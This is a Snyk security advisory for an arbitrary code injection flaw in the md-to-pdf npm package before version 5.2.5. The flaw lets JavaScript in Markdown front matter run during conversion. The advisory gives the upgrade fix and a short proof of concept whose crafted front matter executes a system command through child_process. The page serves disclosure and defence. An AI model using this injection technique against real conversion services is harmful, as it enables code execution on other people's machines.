Arbitrary Code Injection Affecting md-to-pdf package, versions <5.2.5
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-MDTOPDF-14089788
- published21 Nov 2025
- disclosed20 Nov 2025
- creditIan Raburu
Introduced: 20 Nov 2025
NewCVE-2025-65108 (opens in a new tab)How to fix?
Upgrade md-to-pdf to version 5.2.5 or higher.
Overview
md-to-pdf is a CLI tool for converting Markdown files to PDF.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the gray-matter library when parsing front matter containing JavaScript delimiters. An attacker can execute arbitrary code in the Markdown-to-PDF conversion process by supplying specially crafted Markdown files with malicious JavaScript in the front matter.
PoC
const { mdToPdf } = require('md-to-pdf');
var payload = '---javascript\n((require("child_process")).execSync("calc.exe"))\n---RCE';
(async () => {
await mdToPdf({ content: payload }, { dest: './output.pdf'});
})();